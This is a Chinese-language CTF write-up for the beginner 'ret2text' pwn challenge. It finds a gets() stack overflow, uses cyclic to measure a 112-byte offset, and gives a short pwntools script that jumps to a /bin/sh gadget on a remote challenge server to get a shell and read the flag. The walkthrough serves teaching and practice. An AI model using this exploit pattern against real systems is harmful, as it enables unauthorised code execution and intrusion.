pwn ret2text

题目链接:ret2text

参考博客:CTF Wiki 基本 ROP

参考视频:【CTF】Linux PWN入门 Bamboofox社课系列

0x01

下载ret2text文件,复制到 翔哥的van美pwn机 中 查看保护机制

Arch:    i386-32-little //文件为32位程序

RELRO:    Partial RELRO

Stack:    No canary found    //未开启canary保护

NX:      NX enabled    //开启了栈不可执行保护

PIE:      No PIE (0x8048000)    //未开启地址无关可执行

0x02

查看到文件为32位,拖入32位IDA中 找到main函数 发现有gets,那么肯定有栈溢出漏洞。

继续查找文件,发现secure,其中有/bin/sh

按shift后再按空格找到secure的地址 这个地址中的任意一个就行了 先写一部分脚本

# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload =   + p32(success_addr)
io.sendline(payload)
io.interactive()

0x03

找到需要返回的地址后,我们要寻找偏移量了。

使用cyclic生成字符队列 使用gdb工具,打开ret2text run运行 输入刚刚生成的字符串

找到invalid address 0x62616164

使用cyclic -l 计算字符串偏移量 发现偏移了112位

0x04

找到偏移量和返回的地址直接写脚本

from pwn import *
# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload = 'a' * 112  + p32(success_addr)
io.sendline(payload)
io.interactive()

打开终端运行脚本

成功连接

使用ls查看目录

发现flag

直接cat flag

拿下!